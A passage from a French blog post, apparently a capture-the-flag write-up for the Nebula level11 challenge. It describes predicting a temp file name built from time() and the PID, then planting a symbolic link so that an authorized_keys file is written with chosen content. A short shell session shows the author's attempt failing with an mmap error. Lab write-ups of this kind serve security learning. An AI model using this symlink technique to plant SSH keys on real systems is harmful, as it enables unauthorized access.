Comme la source de pseudo aléa est basée sur time qui a la granularité d’une seconde et que le reste du nom de fichier utilise le PID qui va souvent en s’incrémentant on peut s’arranger pour créer un lien symbolique qui permettra d’écrire un fichier authorized_keys avec le contenu de notre choix.

C’est pour la théorie car de mon côté le binaire plantait à partir du moment où je lui donnait 1024 octets ou plus :

1
2
3
level11@nebula:/home/flag11$ python /tmp/gen.py | ./flag11
blue = 1024, length = 1024, pink = 1024
flag11: mmap: Bad file descriptor

Publié le 31 janvier 2023

Cet article est sous licence CC BY 4.0 par l'auteur.